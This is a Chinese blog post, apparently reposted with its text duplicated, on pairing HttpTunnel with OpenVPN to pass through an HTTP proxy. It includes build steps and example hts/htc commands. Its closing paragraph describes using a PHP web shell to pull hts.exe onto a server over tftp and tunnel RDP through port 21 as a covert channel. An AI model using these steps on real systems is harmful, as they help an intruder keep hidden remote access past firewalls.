HttpTunnel
2009-12-02 20:39
274 查看
HttpTunnel+Open***穿越HTTP代理
虽然Open***支持HTTP Proxy,但是Open***使用的代理必须支持CONNECT这个方法,如果不支持,那Open***就无能为力了,似乎还有一个叫Htun的也行,具体还没有细看。
目前使用HttpTunnel和Open***配合可以穿透HTTP代理。
HttpTunnel官方网站: http://www.nocrew.org/software/httptunnel.html Open***官方网站: http://open***.net/
存在的问题:
1、HttpTunnel服务器端目前不支持多客户同时连接,和Open*** 1.x差不多,要有多个少个客户就需要启动多少个hts进程。
Q: My friend runs hts at port 8888, but when I try to connect to it, there is no response.
A: As for now, hts can't handle multiple tunnels. You must run your own instance of hts listening to another port.
2、htc启动后,如果有客户连接并断开后,htc会自动退出(至少我在Linux试验的是这样的),所以需要写一个shell脚本定期检查htc进程是否退出。
转载请保留以下信息:
作者: 温占考 (Zhankao WEN) wzk {AT} wenzk {DOT} net
原文出处: http://www.wenzk.net/ http://wenzk.cublog.cn/
请勿用于商业目的,谢谢
首先下载并安装httptunnel程序,登录 http://www.nocrew.org/software/httptunnel.html
# wget http://www.nocrew.org/software/httptunnel/httptunnel-3.0.5.tar.gz # tar -zxvf httptunnel-3.0.5.tar.gz
# cd httptunnel-3.0.5
# ./configure
# make
# cp hts /usr/local/sbin/
# cp htc /usr/local/bin/
呵呵,安装完毕,注意客户端和服务器段都需要安装httptunnel程序。
启动Server端程序:
# hts -F OPEN***_SERVER_IP:PORT 8888
OPEN***_SERVER_IP:PORT 远程Open***服务器的IP地址和Open***所监听的端口,Open***必须使用TCP协议,如果hts和Open***在同一台机器则可以使用localhost。
8888 为hts监听的端口。
HttpTunnel客户端连接服务器:
# htc -F LISTEN_PORT -P PROXY_IP:PORT SERVER_IP:PORT
LISTEN_PORT htc本机监听的端口(供其他程序连接的端口)。
PROXY_IP:PORT 代理服务器的IP和端口。
SERVER_IP:PORT HttpTunnel的IP和端口。
假设环境:
客户机IP: 192.168.1.2
代理服务器IP: 192.168.1.1 端口: 8080
Open***服务器地址: 61.1.1.2 端口: 1194
服务器端运行:
# hts -F localhost:1194 8888
客户机运行:
# htc -F 2222 -P 192.168.1.1:8080 61.1.1.2:8888
Open***客户端设置更改:
把配置文件中的remote 61.1.1.2 1194 改成 remote localhost 2222 即可。
能够实现TCP暗藏通道技术的工具现在有不少了,我用的是Httptunnelforwin。在我的机子上运行HTC的客户端:htc -F 3389 cn.*****.com:21,这样发给我机子的3389端口的数据都会经过HTC的"封装"处理之后,发给cn.*****.com的21端口。
通过PHP Web Shell ( 命令:tftp -I myip get [file] ),将Httptunnel的服务器端程序hts.exe和所需要的cygwin1.dll两个文件上传到服务器。然后运行Httptunnel的服务器,命令如下:hts -F localhost:3389 21,这样从21端口传来的数据经过hts的"解封"处理之后,转发给本地3389端口。
虽然Open***支持HTTP Proxy,但是Open***使用的代理必须支持CONNECT这个方法,如果不支持,那Open***就无能为力了,似乎还有一个叫Htun的也行,具体还没有细看。
目前使用HttpTunnel和Open***配合可以穿透HTTP代理。
HttpTunnel官方网站: http://www.nocrew.org/software/httptunnel.html Open***官方网站: http://open***.net/
存在的问题:
1、HttpTunnel服务器端目前不支持多客户同时连接,和Open*** 1.x差不多,要有多个少个客户就需要启动多少个hts进程。
Q: My friend runs hts at port 8888, but when I try to connect to it, there is no response.
A: As for now, hts can't handle multiple tunnels. You must run your own instance of hts listening to another port.
2、htc启动后,如果有客户连接并断开后,htc会自动退出(至少我在Linux试验的是这样的),所以需要写一个shell脚本定期检查htc进程是否退出。
转载请保留以下信息:
作者: 温占考 (Zhankao WEN) wzk {AT} wenzk {DOT} net
原文出处: http://www.wenzk.net/ http://wenzk.cublog.cn/
请勿用于商业目的,谢谢
首先下载并安装httptunnel程序,登录 http://www.nocrew.org/software/httptunnel.html
# wget http://www.nocrew.org/software/httptunnel/httptunnel-3.0.5.tar.gz # tar -zxvf httptunnel-3.0.5.tar.gz
# cd httptunnel-3.0.5
# ./configure
# make
# cp hts /usr/local/sbin/
# cp htc /usr/local/bin/
呵呵,安装完毕,注意客户端和服务器段都需要安装httptunnel程序。
启动Server端程序:
# hts -F OPEN***_SERVER_IP:PORT 8888
OPEN***_SERVER_IP:PORT 远程Open***服务器的IP地址和Open***所监听的端口,Open***必须使用TCP协议,如果hts和Open***在同一台机器则可以使用localhost。
8888 为hts监听的端口。
HttpTunnel客户端连接服务器:
# htc -F LISTEN_PORT -P PROXY_IP:PORT SERVER_IP:PORT
LISTEN_PORT htc本机监听的端口(供其他程序连接的端口)。
PROXY_IP:PORT 代理服务器的IP和端口。
SERVER_IP:PORT HttpTunnel的IP和端口。
假设环境:
客户机IP: 192.168.1.2
代理服务器IP: 192.168.1.1 端口: 8080
Open***服务器地址: 61.1.1.2 端口: 1194
服务器端运行:
# hts -F localhost:1194 8888
客户机运行:
# htc -F 2222 -P 192.168.1.1:8080 61.1.1.2:8888
Open***客户端设置更改:
把配置文件中的remote 61.1.1.2 1194 改成 remote localhost 2222 即可。
能够实现TCP暗藏通道技术的工具现在有不少了,我用的是Httptunnelforwin。在我的机子上运行HTC的客户端:htc -F 3389 cn.*****.com:21,这样发给我机子的3389端口的数据都会经过HTC的"封装"处理之后,发给cn.*****.com的21端口。
通过PHP Web Shell ( 命令:tftp -I myip get [file] ),将Httptunnel的服务器端程序hts.exe和所需要的cygwin1.dll两个文件上传到服务器。然后运行Httptunnel的服务器,命令如下:hts -F localhost:3389 21,这样从21端口传来的数据经过hts的"解封"处理之后,转发给本地3389端口。
相关文章推荐
- 几种建立http-tunnel的方法
- Android studio出现 Error:Unable to tunnel through proxy. Proxyreturns "HTTP/1.1 400 Bad Request"
- AndroidStudio问题Error:Unable to tunnel through proxy. Proxy returns "HTTP/1.1 400 Bad Request解决方法
- ActionScript 3的HTTPTunnel的实现
- HttpTunnel技术介绍
- HttpTunnel解读和防御
- Android studio出现Error:Unable to tunnel through proxy. Proxy returns "HTTP/1.1 400 Bad Request"的解决办法
- ErrorUnable to tunnel through proxy. Proxy returns HTTP1.1 400 Bad Reques
- Http Tunnel 小记
- HTTP隧道工具HTTPTunnel
- 在导入新项目之后出现Error:Unable to tunnel through proxy. Proxy returns “HTTP/1.1 400 Bad Request”的错误
- 防火墙穿透学习--HttpTunnel工作原理与程序结构分析
- HttpTunnel解读和防御
- HTTP 隧道通讯库 HTTPTunnel
- Error:Unable to tunnel through proxy. Proxy returns "HTTP/1.1 400 Bad Request"
- HttpTunnel防火墙穿透指南
- Error:Unable to tunnel through proxy. Proxy returns "HTTP/1.1 400 Bad Request"
- Android开发:解决ErrorUnable to tunnel through proxy. Proxy returns HTTP1.1 400 Bad Request
- httptunnel
- http tunnel 原理 及 穿透防火墙方法-1